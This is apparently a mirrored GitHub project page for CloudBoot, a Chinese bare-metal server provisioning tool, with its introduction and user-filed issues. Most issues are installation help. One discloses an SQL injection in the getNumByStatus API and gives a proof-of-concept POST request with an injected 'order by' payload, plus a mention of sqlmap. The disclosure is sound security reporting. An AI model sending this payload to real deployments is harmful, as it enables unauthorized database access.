Giter VIP home page Giter VIP logo

cloudboot's Introduction

产品介绍

CloudBoot 云启装机平台是由云霁科技开发的开源X86服务器配置安装工具,俗称运维人员的“番茄花园”。云霁科技以运维行业的用户痛点和需求为出发点,融合开源软件、互联网服务器运维经验和各大服务器厂商在运维工具的积累,实现统一全自动的X86服务器裸机配置和操作,并联合国内各大服务器厂商,从源头解决问题,形成物理服务器的生产、测试、交付的最佳实践

产品特色

  • CloudBoot 研发团队出身于 BAT 大型互联网公司,基于互联网行业大规模部署的最佳实践在产品中落地
  • 集成作业管理平台,基于自主研发的任务调度引擎 act2,支持多通道任务执行(salt/puppet/ssh)
  • 支持海量主机并发任务执行,解决了裸机安装完成以后,对设备的自动化管理,实现了整个闭环工作流
  • 整合国内主流厂商硬件型号,包括华为、华三、联想、戴尔、惠普、浪潮、IBM等,实现硬件自动化配置
  • 兼容主流操作系统的自动化部署,包括 RedHat / CentOS / SUSE / ubuntu / Windows / VMware / XenServer
  • 支持标准的 PXE 自动化安装,支持运行自定义脚本完成系统初始化部署
  • 自主研发的 BootOS 内存操作系统,基于最新的 Linux Kernel 4.19 LTS 定制,包含最新的硬件驱动
  • 支持服务器从网络引导进入 BootOS,完成硬件信息的自动化采集,设备自动注册发现
  • 基于标准的 IPMI 接口通过带外对服务器进行控制安装,支持电源的远程开机、关机、重启以及从网络启动
  • 采用分层架构开发设计,模块化功能组合,前后端分离,可以随意扩展
  • 通过 API 接口进行调用,方便与企业内部平台整合对接,灵活适配
  • 自带轻量级 CMDB,支持资产管理、硬件信息采集和自动化配置
  • 支持报表统计和用户权限管理
  • 提供一键安装工具,方便快速部署服务
  • 完全开源免费,支持二次开发

部署安装

目前 cloudboot 已经支持多种部署方式,请参考一键部署文档:

http://idcos.github.io/osinstall-doc/environment/%E4%B8%80%E9%94%AE%E9%83%A8%E7%BD%B2.html

咨询交流

QQ群:120556005

邮箱:[email protected]

cloudboot's People

Contributors

alexanderchen1989 avatar companycy avatar kkxue avatar liucy1983 avatar yunji-devin avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cloudboot's Issues

BootOS驱动更新问题

参考部署文档,BootOS驱动更新时需要将rpm包离线安装到BootOS里面。
我使用chroot rpm时提示 / 空间不足,无法安装。
可以提供下具体的离线安装方法吗?非常感谢!

dhcp start failed

查看日志,
2024/01/08 10:08:18.473 [D] [dhcp_subnet.go:188] restart dhcpd:service dhcpd restart
2024/01/08 10:08:18.506 [D] [dhcp_subnet.go:190] result:Starting dhcpd: [FAILED]^M

2024/01/08 10:08:18.506 [E] [dhcp_subnet.go:197] error:exit status 1

WEB无法登录

登录web页面的时候,提示报错信息: 登录失败: securecookie: expired timestamp

服务器时间检查过没有问题,也检查过服务的状态。

ui启动报错

[root@CentOS7 osinstall-ui]# ember server --proxy=http://localhost:8083/
module.js:538
throw err;
^

Error: Cannot find module 'internal/util/types'
at Function.Module._resolveFilename (module.js:536:15)
at Function.Module._load (module.js:466:25)
at Module.require (module.js:579:17)
at require (internal/module.js:11:18)
at evalmachine.:31:26
at Object. (/data/app/osinstall-ui/node_modules/ember-cli/node_modules/configstore/node_modules/graceful-fs/fs.js:11:1)
at Module._compile (module.js:635:30)
at Object.Module._extensions..js (module.js:646:10)
at Module.load (module.js:554:32)
at tryModuleLoad (module.js:497:12)
[root@CentOS7 osinstall-ui]#

Centos 6.5 无法安装go

2.Deploy Server

Install Go

Download the latest stable version source code

wget https://storage.googleapis.com/golang/go1.5.2.src.tar.gz

Copied to the user's work directory

cp go1.5.2.src.tar.gz /home//

Unzip

tar xf go1.5.2.src.tar.gz

Compile

cd go/src/ && ./make.bash

执行Compile时提示:
[root@mq1 src]# ./make.bash

Building Go bootstrap tool.

cmd/dist
ERROR: Cannot find /root/go1.4/bin/go.
Set $GOROOT_BOOTSTRAP to a working Go tree >= Go 1.4.
./make.bash: line 121: /root/go1.4/bin/go: No such file or directory

请求指导。。。。

社区版1.5.1 不能跨网段部署

查到原因是bootos写入网关的原因,截图的那段shell只写入文件了,并没有执行。请问如何解压bootos,并重新打包方法,谢谢🙏
image

安装完访问URL报错

Server端url检查正常返回JSON串。
访问49152端口,正常返回json。

访问dashboard报错
http://172.18.21.101:4200/api/osinstall/v1/device/getNumByStatus 404 NOT FOUND

直接访问404的URL报错如下
Cannot GET /api/osinstall/v1/device/getNumByStatus

通过firebug发现很多警告都是vendor.js里的。
是不是我哪里安装的有问题?
系统 centos 6.7
{ npm: '2.14.9',
http_parser: '2.3',
modules: '14',
node: '0.12.9',
openssl: '1.0.1q',
uv: '1.6.1',
v8: '3.28.71.19',
zlib: '1.2.8' }

什么时候支持uefi启动

请问什么时候能支持uefi启动?现在大部分新机器默认都是uefi启动,这样装机的话,都需要去更改,

单纯PXE的实现中所有的功能都可以由dnsmasq提供

是不是可以考虑简化组件,我的dnsmasq配置

enable-tftp
tftp-root=/srv/tftp/
interface=br0
domain=idcos.com
bind-interfaces
dhcp-range=red,10.1.1.210,10.1.1.240,255.255.255.0
dhcp-range=green,10.1.2.210,10.1.2.240,255.255.255.0
dhcp-range=blue,10.1.3.210,10.1.3.240,255.255.255.0
#dhcp-boot=grubnetx64.efi.signed
#dhcp-boot=bootx64.efi
dhcp-boot=ipxe.efi
dhcp-option=red,3,10.1.1.1
dhcp-option=green,3,10.1.2.1
dhcp-option=blue,3,10.1.3.1
dhcp-option=6,10.1.1.2
resolv-file=/etc/dnsmasq.resolv.conf
log-queries
log-dhcp
log-facility=/var/log/dnsmasq.log

Cloudboot has SQL injection

A sql injection was discovered in cloudboot
There is a sql injection vulnerability which allows remote attackers to inject sql command of /api/osinstall/v1/device/getNumByStatus

PoC:
POST /api/osinstall/v1/device/getNumByStatus HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

{"Status":"1'order by 2#","UserID":0}

"Status" is the injection point

Use sqlmap to get the database
image

Cloudboot deployment mode

At present, Cloudboot one click deployment documents only include rpm packages. Can you add Ubuntu one click deployment, or add some deployment steps for common distributions?Thank you!

centos7 安装问题

PS:安装流程上osinstall与 osinstall-doc中描述不一致。
1、os-install-server安装完成以后,报错:not a valid logrus Level: ""
2、npm(目前为线上最新版本:4.2.4)安装完bower和ember-cli。在ui中执行npm install中报错如下:
[我实在太挫,不太懂nodejs]

npm WARN deprecated [email protected]: this package has been reintegrated into npm and is now out of date with respect to npm
npm WARN deprecated [email protected]: lodash@<2.0.0 is no longer maintained. Upgrade to lodash@^3.0.0

[email protected] postinstall /home/worker/idcos/osinstall-ui/node_modules/ember-cli-font-awesome/node_modules/ember-cli-sass/node_modules/broccoli-sass-source-maps/node_modules/node-sass/node_modules/cross-spawn/node_modules/spawn-sync
node postinstall

module.js:340
throw err;
^

Error: Cannot find module '/home/worker/idcos/osinstall-ui/node_modules/ember-cli-font-awesome/node_modules/ember-cli-sass/node_modules/broccoli-sass-source-maps/node_modules/node-sass/node_modules/cross-spawn/node_modules/spawn-sync/postinstall'
at Function.Module._resolveFilename (module.js:338:15)
at Function.Module._load (module.js:289:25)
at Function.Module.runMain (module.js:467:10)
at startup (node.js:136:18)
at node.js:963:3
npm ERR! Linux 3.10.0-229.14.1.el7.x86_64
npm ERR! argv "/usr/local/nodejs/bin/node" "/usr/local/nodejs/bin/npm" "install"
npm ERR! node v4.2.4
npm ERR! npm v2.14.12
npm ERR! code ELIFECYCLE

npm ERR! [email protected] postinstall: node postinstall
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the [email protected] postinstall script 'node postinstall'.
npm ERR! This is most likely a problem with the spawn-sync package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR! node postinstall
npm ERR! You can get their info via:
npm ERR! npm owner ls spawn-sync
npm ERR! There is likely additional logging output above.

npm ERR! Please include the following file with any support request:
npm ERR! /home/worker/idcos/osinstall-ui/npm-debug.log

1.5.1版安装win2012r2不能自动重启,ip也不是在设备详情设定的ip

1.5.1版安装win2012r2不能自动重启,ip也不是在设备详情设定的ip

如下图
image

我的环境是在esxi里建的一个虚拟机做Cloudboot的服务器,安装cloudboot-1.5.1-1.x86_64.rpm后各服务都启动正常,利用它安装centos7.6一切正常,安装win2012r2时,在最后阶段提示重启,但实际却无法完成重启,停留在了上图位置,手工重启后,系统能进入,ip地址不是在设备详情设定的ip,是自动获取的,请问如何处理上述2个问题?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.